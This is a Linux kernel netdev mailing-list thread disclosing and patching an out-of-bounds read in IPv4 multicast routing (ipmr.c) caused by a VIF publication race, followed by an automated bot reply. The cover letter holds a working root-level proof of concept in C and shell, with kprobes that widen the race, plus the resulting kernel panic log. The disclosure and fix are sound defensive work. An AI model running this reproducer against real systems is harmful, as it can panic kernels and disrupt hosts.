[PATCH net 0/1] ipmr: validate VIF indexes before offload lookup

[PATCH net 0/1] ipmr: validate VIF indexes before offload lookup

[Zhiling Zou]

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/ipmr.c. The bug is reachable
by a root user configuring IPv4 multicast routing and racing VIF updates
with packet forwarding.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ipmr_mfc_add() accepts a multicast forwarding cache entry whose parent
VIF does not yet exist. During vif_add(), the VIF device pointer is
published before mrt->maxvif is increased. A concurrent packet can make
ipmr_find_vif() observe the old maxvif and return -1, while the parent
VIF's published device passes the ingress-device check.

Forwarding then calls ipmr_forward_offloaded() with in_vifi == -1. The
helper forms a pointer to mrt->vif_table[in_vifi] before checking the
packet's offload mark, so the negative index produces an out-of-bounds
read. The PoC races VIF 31 publication with multicast ingress; its
kprobes widen the race window. UBSAN reports the invalid index in the
ipmr_queue_xmit() path.

Validate both VIF indexes before forming pointers into vif_table. Invalid
indexes now continue through the regular software forwarding path.

Reproducer:

    sh ./poc.sh 120

The PoC was run as root in a 2 vCPU, 2 GB x86 QEMU guest using the
provided Linux 6.12.95 build and configuration.

------BEGIN poc.c------

    #define _GNU_SOURCE

    #include <arpa/inet.h>
    #include <errno.h>
    #include <linux/mroute.h>
    #include <net/if.h>
    #include <pthread.h>
    #include <sched.h>
    #include <signal.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>
    #include <sys/sysinfo.h>
    #include <sys/types.h>
    #include <time.h>
    #include <unistd.h>

    #define GROUP_ADDR "239.1.1.1"
    #define SRC_ADDR "10.0.0.2"

    #define IN_DEV "vifin"
    #define OUT_DEV "vifout"
    #define SRC_DEV "src0"

    #define IN_VIFI 31
    #define OUT_VIFI 30
    #define UDP_PORT 5000
    #define BATCH 64

    static volatile sig_atomic_t stop_flag;
    static int mroute_fd = -1;
    static int src_ifindex;
    static int in_ifindex;
    static int out_ifindex;

    static volatile unsigned long long adds_done;
    static volatile unsigned long long dels_done;
    static void on_signal(int sig)
    {
    	(void)sig;
    	stop_flag = 1;
    }

    static void bind_to_cpu(int cpu)
    {
    	cpu_set_t set;
    	int ncpu = get_nprocs();

    	if (ncpu <= 0)
    		return;

    	CPU_ZERO(&set);
    	CPU_SET(cpu % ncpu, &set);
    	pthread_setaffinity_np(pthread_self(), sizeof(set), &set);
    }

    static void fatal(const char *what)
    {
    	fprintf(stderr, "fatal: %s: %s\n", what, strerror(errno));
    	exit(EXIT_FAILURE);
    }

    static int vif_op(int optname, vifi_t vifi, int ifindex)
    {
    	struct vifctl vif = {
    		.vifc_vifi = vifi,
    		.vifc_flags = VIFF_USE_IFINDEX,
    		.vifc_threshold = 1,
    		.vifc_rate_limit = 0,
    		.vifc_lcl_ifindex = ifindex,
    	};

    	return setsockopt(mroute_fd, IPPROTO_IP, optname, &vif, sizeof(vif));
    }

    static void add_vif_checked(vifi_t vifi, int ifindex)
    {
    	if (vif_op(MRT_ADD_VIF, vifi, ifindex) < 0)
    		fatal("MRT_ADD_VIF");
    }

    static void del_vif_best_effort(vifi_t vifi, int ifindex)
    {
    	if (vif_op(MRT_DEL_VIF, vifi, ifindex) < 0 &&
    	    errno != EADDRNOTAVAIL)
    		fatal("MRT_DEL_VIF");
    }

    static void add_mfc_checked(void)
    {
    	struct mfcctl mfc;

    	memset(&mfc, 0, sizeof(mfc));
    	if (!inet_aton(SRC_ADDR, &mfc.mfcc_origin))
    		exit(EXIT_FAILURE);
    	if (!inet_aton(GROUP_ADDR, &mfc.mfcc_mcastgrp))
    		exit(EXIT_FAILURE);

    	mfc.mfcc_parent = IN_VIFI;
    	memset(mfc.mfcc_ttls, 255, sizeof(mfc.mfcc_ttls));
    	mfc.mfcc_ttls[OUT_VIFI] = 1;

    	if (setsockopt(mroute_fd, IPPROTO_IP, MRT_ADD_MFC, &mfc, sizeof(mfc)) < 0)
    		fatal("MRT_ADD_MFC");
    }

    static void flush_tables(void)
    {
    	int flags = MRT_FLUSH_MFC | MRT_FLUSH_MFC_STATIC |
    		    MRT_FLUSH_VIFS | MRT_FLUSH_VIFS_STATIC;

    	if (mroute_fd >= 0)
    		setsockopt(mroute_fd, IPPROTO_IP, MRT_FLUSH, &flags, sizeof(flags));
    }

    static int get_mfc_pktcnt(unsigned long *pktcnt)
    {
    	struct sioc_sg_req req;

    	memset(&req, 0, sizeof(req));
    	if (!inet_aton(SRC_ADDR, &req.src))
    		return -1;
    	if (!inet_aton(GROUP_ADDR, &req.grp))
    		return -1;
    	if (ioctl(mroute_fd, SIOCGETSGCNT, &req) < 0)
    		return -1;

    	*pktcnt = req.pktcnt;
    	return 0;
    }

    static void selftest_forwarding(void)
    {
    	unsigned long before = 0;
    	unsigned long after = 0;
    	int tries;

    	fprintf(stderr, "[*] self-test: add input VIF and verify multicast forwarding\n");
    	add_vif_checked(IN_VIFI, in_ifindex);
    	if (get_mfc_pktcnt(&before) < 0)
    		fatal("SIOCGETSGCNT(before)");

    	for (tries = 0; tries < 30; tries++) {
    		usleep(100000);
    		if (get_mfc_pktcnt(&after) < 0)
    			fatal("SIOCGETSGCNT(after)");
    		if (after > before)
    			break;
    	}
    	if (after <= before) {
    		fprintf(stderr, "fatal: self-test did not advance MFC packet counters\n");
    		exit(EXIT_FAILURE);
    	}

    	fprintf(stderr, "[+] self-test passed: MFC packets %lu -> %lu\n", before, after);
    	del_vif_best_effort(IN_VIFI, in_ifindex);
    }

    static int make_sender_socket(void)
    {
    	int fd;
    	struct sockaddr_in bind_addr = {
    		.sin_family = AF_INET,
    		.sin_port = htons(0),
    	};
    	struct ip_mreqn ifreq = { .imr_ifindex = src_ifindex };
    	unsigned char ttl = 64;

    	fd = socket(AF_INET, SOCK_DGRAM, 0);
    	if (fd < 0)
    		fatal("socket(sender)");

    	if (!inet_aton(SRC_ADDR, &bind_addr.sin_addr))
    		exit(EXIT_FAILURE);

    	if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, SRC_DEV, sizeof(SRC_DEV)) < 0)
    		fatal("SO_BINDTODEVICE(sender)");
    	if (setsockopt(fd, IPPROTO_IP, IP_MULTICAST_IF, &ifreq, sizeof(ifreq)) < 0)
    		fatal("IP_MULTICAST_IF(sender)");
    	if (setsockopt(fd, IPPROTO_IP, IP_MULTICAST_TTL, &ttl, sizeof(ttl)) < 0)
    		fatal("IP_MULTICAST_TTL(sender)");
    	if (bind(fd, (struct sockaddr *)&bind_addr, sizeof(bind_addr)) < 0)
    		fatal("bind(sender)");

    	return fd;
    }

    static int sender_main(int seconds)
    {
    	int fd = make_sender_socket();
    	struct sockaddr_in dst = {
    		.sin_family = AF_INET,
    		.sin_port = htons(UDP_PORT),
    	};
    	struct iovec iov[BATCH];
    	struct mmsghdr msgs[BATCH];
    	char payload[128];
    	int i;

    	signal(SIGINT, on_signal);
    	signal(SIGTERM, on_signal);
    	signal(SIGALRM, on_signal);
    	alarm(seconds);

    	if (!inet_aton(GROUP_ADDR, &dst.sin_addr))
    		exit(EXIT_FAILURE);

    	memset(payload, 0x42, sizeof(payload));
    	memset(msgs, 0, sizeof(msgs));
    	for (i = 0; i < BATCH; i++) {
    		iov[i].iov_base = payload;
    		iov[i].iov_len = sizeof(payload);
    		msgs[i].msg_hdr.msg_name = &dst;
    		msgs[i].msg_hdr.msg_namelen = sizeof(dst);
    		msgs[i].msg_hdr.msg_iov = &iov[i];
    		msgs[i].msg_hdr.msg_iovlen = 1;
    	}

    	while (!stop_flag) {
    		int ret = sendmmsg(fd, msgs, BATCH, 0);

    		if (ret > 0)
    			continue;
    		if (ret < 0 && (errno == EINTR || errno == ENOBUFS))
    			continue;
    		fatal("sendmmsg(sender)");
    	}

    	close(fd);
    	return EXIT_SUCCESS;
    }

    static void *toggle_thread(void *arg)
    {
    	int cpu = (int)(intptr_t)arg;

    	bind_to_cpu(cpu);
    	while (!stop_flag) {
    		if (vif_op(MRT_ADD_VIF, IN_VIFI, in_ifindex) == 0) {
    			__sync_fetch_and_add(&adds_done, 1);
    		} else if (errno != EADDRINUSE) {
    			fatal("MRT_ADD_VIF(loop)");
    		}

    		if (vif_op(MRT_DEL_VIF, IN_VIFI, in_ifindex) == 0) {
    			__sync_fetch_and_add(&dels_done, 1);
    		} else if (errno != EADDRNOTAVAIL) {
    			fatal("MRT_DEL_VIF(loop)");
    		}
    	}

    	return NULL;
    }

    static int race_main(int seconds)
    {
    	int mrt_init = 1;
    	pthread_t toggler;
    	time_t start;

    	signal(SIGINT, on_signal);
    	signal(SIGTERM, on_signal);
    	signal(SIGALRM, on_signal);

    	in_ifindex = if_nametoindex(IN_DEV);
    	out_ifindex = if_nametoindex(OUT_DEV);
    	if (!in_ifindex || !out_ifindex) {
    		fprintf(stderr, "fatal: missing expected interfaces (%s, %s)\n",
    			IN_DEV, OUT_DEV);
    		return EXIT_FAILURE;
    	}

    	mroute_fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
    	if (mroute_fd < 0)
    		fatal("socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)");
    	if (setsockopt(mroute_fd, IPPROTO_IP, MRT_INIT, &mrt_init, sizeof(mrt_init)) < 0)
    		fatal("MRT_INIT");

    	flush_tables();
    	add_vif_checked(OUT_VIFI, out_ifindex);
    	add_mfc_checked();
    	selftest_forwarding();

    	fprintf(stderr, "[*] racing VIF publication against multicast ingress for up to %d seconds\n",
    		seconds);
    	alarm(seconds);
    	start = time(NULL);

    	if (pthread_create(&toggler, NULL, toggle_thread, (void *)(intptr_t)0) != 0)
    		fatal("pthread_create(toggler)");

    	while (!stop_flag) {
    		unsigned long pktcnt = 0;

    		sleep(1);
    		if (get_mfc_pktcnt(&pktcnt) < 0)
    			pktcnt = 0;
    		fprintf(stderr,
    			"[*] %lds mfc_pktcnt=%lu add=%llu del=%llu\n",
    			(long)(time(NULL) - start),
    			pktcnt, adds_done, dels_done);
    	}

    	fprintf(stderr, "[*] stopping without observed crash\n");
    	pthread_join(toggler, NULL);

    	flush_tables();
    	setsockopt(mroute_fd, IPPROTO_IP, MRT_DONE, &mrt_init, sizeof(mrt_init));
    	close(mroute_fd);
    	return EXIT_SUCCESS;
    }

    int main(int argc, char **argv)
    {
    	int seconds = 300;

    	if (argc > 2)
    		seconds = atoi(argv[2]);
    	else if (argc > 1 && strcmp(argv[1], "sender") != 0)
    		seconds = atoi(argv[1]);
    	if (seconds <= 0)
    		seconds = 300;

    	src_ifindex = if_nametoindex(SRC_DEV);
    	in_ifindex = if_nametoindex(IN_DEV);
    	out_ifindex = if_nametoindex(OUT_DEV);

    	if (argc > 1 && strcmp(argv[1], "sender") == 0) {
    		src_ifindex = if_nametoindex(SRC_DEV);
    		if (!src_ifindex) {
    			fprintf(stderr, "fatal: missing sender interface %s\n", SRC_DEV);
    			return EXIT_FAILURE;
    		}
    		return sender_main(seconds);
    	}

    	if (!in_ifindex || !out_ifindex) {
    		fprintf(stderr, "fatal: missing expected interfaces (%s, %s)\n",
    			IN_DEV, OUT_DEV);
    		return EXIT_FAILURE;
    	}

    	return race_main(seconds);
    }

------END poc.c--------

------BEGIN poc.sh------

    #!/bin/sh
    set -eu

    cd "$(dirname "$0")"

    cleanup() {
    	if [ -e /sys/kernel/debug/tracing/events/kprobes/enable ]; then
    		echo 0 >/sys/kernel/debug/tracing/events/kprobes/enable
    	fi
    	if [ -e /sys/kernel/debug/tracing/kprobe_events ]; then
    		echo '-:ipmr_hold' >/sys/kernel/debug/tracing/kprobe_events 2>/dev/null || true
    		echo '-:ipmr_find_hold' >/sys/kernel/debug/tracing/kprobe_events 2>/dev/null || true
    	fi
    	ip netns del ns_src 2>/dev/null || true
    	ip link del vifin 2>/dev/null || true
    	ip link del vifout 2>/dev/null || true
    }

    trap cleanup EXIT
    cleanup

    ip link add vifin type veth peer name src0
    ip link add vifout type veth peer name sink0

    ip netns add ns_src
    ip link set src0 netns ns_src

    ip addr add 10.0.0.1/24 dev vifin
    ip addr add 10.0.1.1/24 dev vifout
    ip addr add 10.0.1.2/24 dev sink0

    ip link set vifin up
    ip link set vifout up
    ip link set sink0 up

    ip -n ns_src addr add 10.0.0.2/24 dev src0
    ip -n ns_src link set lo up
    ip -n ns_src link set src0 up

    sysctl -q -w net.ipv4.ip_forward=1
    sysctl -q -w net.ipv4.conf.all.rp_filter=0
    sysctl -q -w net.ipv4.conf.default.rp_filter=0
    sysctl -q -w net.ipv4.conf.vifin.rp_filter=0
    sysctl -q -w net.ipv4.conf.vifout.rp_filter=0
    sysctl -q -w net.ipv4.conf.sink0.rp_filter=0

    mount -t debugfs none /sys/kernel/debug 2>/dev/null || true
    echo '-:ipmr_hold' >/sys/kernel/debug/tracing/kprobe_events 2>/dev/null || true
    echo '-:ipmr_find_hold' >/sys/kernel/debug/tracing/kprobe_events 2>/dev/null || true
    echo 'p:ipmr_hold vif_add+0x496' >/sys/kernel/debug/tracing/kprobe_events
    echo 'p:ipmr_find_hold ip_mr_forward+0x35' >/sys/kernel/debug/tracing/kprobe_events
    echo 1 >/sys/kernel/debug/tracing/events/kprobes/enable

    make clean >/dev/null 2>&1 || true
    make

    duration="${1:-300}"
    taskset -c 1 ip netns exec ns_src ./poc sender "$duration" >/tmp/ipmr-sender.1.log 2>&1 &
    pid1=$!
    taskset -c 2 ip netns exec ns_src ./poc sender "$duration" >/tmp/ipmr-sender.2.log 2>&1 &
    pid2=$!
    taskset -c 3 ip netns exec ns_src ./poc sender "$duration" >/tmp/ipmr-sender.3.log 2>&1 &
    pid3=$!

    trap 'kill "$pid1" "$pid2" "$pid3" 2>/dev/null || true; cleanup' EXIT
    exec ./poc race "$duration"

------END poc.sh--------

----BEGIN crash log----

[   67.164888] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
[   67.165410] CPU: 1 UID: 0 PID: 1016 Comm: poc Not tainted 6.12.95 #1
[   67.165883] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   67.166689] Call Trace:
[   67.166867]  <IRQ>
[   67.167077]  panic+0x352/0x3e0
[   67.167313]  ? _printk+0x64/0x80
[   67.167614]  check_panic_on_warn+0x44/0x60
[   67.168007]  __ubsan_handle_out_of_bounds+0xe7/0x100
[   67.168452]  ipmr_queue_xmit+0x6e1/0x730
[   67.168907]  ip_mr_input+0xf3/0x460
[   67.169450]  __netif_receive_skb_one_core+0x89/0xa0
[   67.170312]  process_backlog+0x99/0x1b0
[   67.171034]  __napi_poll+0x28/0x1b0
[   67.171564]  net_rx_action+0x197/0x370
[   67.172145]  handle_softirqs+0xe6/0x300
[   67.172723]  do_softirq.part.0+0x3b/0x60
[   67.173412]  </IRQ>
[   67.173733]  <TASK>
[   67.174200]  __local_bh_enable_ip+0x4f/0x60
[   67.174989]  __dev_queue_xmit+0x372/0xe60
[   67.175487]  ? ip_generic_getfrag+0x63/0xf0
[   67.176028]  ? srso_alias_return_thunk+0x5/0xfbef5
[   67.176746]  ? __ip_append_data+0xc9b/0x13a0
[   67.177601]  ? __pfx_ip_generic_getfrag+0x10/0x10
[   67.178369]  ip_finish_output2+0x268/0x540
[   67.179085]  ip_output+0x5d/0xe0
[   67.179702]  ? __pfx_ip_finish_output+0x10/0x10
[   67.180402]  ip_send_skb+0x86/0x90
[   67.180960]  udp_send_skb+0x18e/0x360
[   67.181678]  udp_sendmsg+0xb31/0xe40
[   67.182282]  ? __pfx_ip_generic_getfrag+0x10/0x10
[   67.182854]  ? ____sys_sendmsg+0x2e8/0x310
[   67.183361]  ____sys_sendmsg+0x2e8/0x310
[   67.183856]  ? copy_msghdr_from_user+0x7d/0xc0
[   67.184574]  ___sys_sendmsg+0x9a/0xe0
[   67.185177]  ? __schedule+0x47e/0x1450
[   67.185749]  __sys_sendmmsg+0xfa/0x210
[   67.186323]  __x64_sys_sendmmsg+0x21/0x30
[   67.187067]  do_syscall_64+0x58/0x120
[   67.187630]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[   67.188274] RIP: 0033:0x7f22ef597687
[   67.188698] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
[   67.191292] RSP: 002b:00007ffc261b1d80 EFLAGS: 00000202 ORIG_RAX: 0000000000000133
[   67.192314] RAX: ffffffffffffffda RBX: 00007f22ef505740 RCX: 00007f22ef597687
[   67.193303] RDX: 0000000000000040 RSI: 00007ffc261b2260 RDI: 0000000000000003
[   67.194295] RBP: 00007ffc261b1de0 R08: 0000000000000000 R09: 0000000000000000
[   67.195124] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000003
[   67.195990] R13: 00007ffc261b2260 R14: 0000000000000078 R15: 000057fc757db880
[   67.197089]  </TASK>
[   67.198132] Kernel Offset: disabled

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  ipmr: validate VIF indexes before offload lookup

 net/ipv4/ipmr.c | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

-- 
2.55.0

[PATCH net 1/1] ipmr: validate VIF indexes before offload lookup

[Zhiling Zou]

ipmr_find_vif() can return -1 when a packet races with VIF publication.
ipmr_forward_offloaded() forms pointers into mrt->vif_table before
checking the packet's offload mark, so a negative index is out of bounds.

Validate both VIF indexes before forming pointers into vif_table. Invalid
indexes fall back to the regular software forwarding path.

Fixes: 4eadb88244d1 ("ipmr: do not acquire mrt_lock while calling ip_mr_forward()")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
 net/ipv4/ipmr.c | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c
index b9c544d48c45..bc3263d15a44 100644
--- a/net/ipv4/ipmr.c
+++ b/net/ipv4/ipmr.c
@@ -1879,11 +1879,16 @@ static inline int ipmr_forward_finish(struct net *net, struct sock *sk,
 static bool ipmr_forward_offloaded(struct sk_buff *skb, struct mr_table *mrt,
 				   int in_vifi, int out_vifi)
 {
-	struct vif_device *out_vif = &mrt->vif_table[out_vifi];
-	struct vif_device *in_vif = &mrt->vif_table[in_vifi];
+	struct vif_device *out_vif, *in_vif;
 
 	if (!skb->offload_l3_fwd_mark)
 		return false;
+	if (in_vifi < 0 || in_vifi >= MAXVIFS ||
+	    out_vifi < 0 || out_vifi >= MAXVIFS)
+		return false;
+
+	out_vif = &mrt->vif_table[out_vifi];
+	in_vif = &mrt->vif_table[in_vifi];
 	if (!out_vif->dev_parent_id.id_len || !in_vif->dev_parent_id.id_len)
 		return false;
 	return netdev_phys_item_id_same(&out_vif->dev_parent_id,
-- 
2.55.0

Re: [PATCH net 0/1] ipmr: validate VIF indexes before offload lookup

[netdev-bot+sinfo]

Hi!

This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:

 - How the issue was discovered, e.g. hit in production, hit during
   development, syzbot report, manual code inspection, LLM or static
   analysis tool scan.

Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.

The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.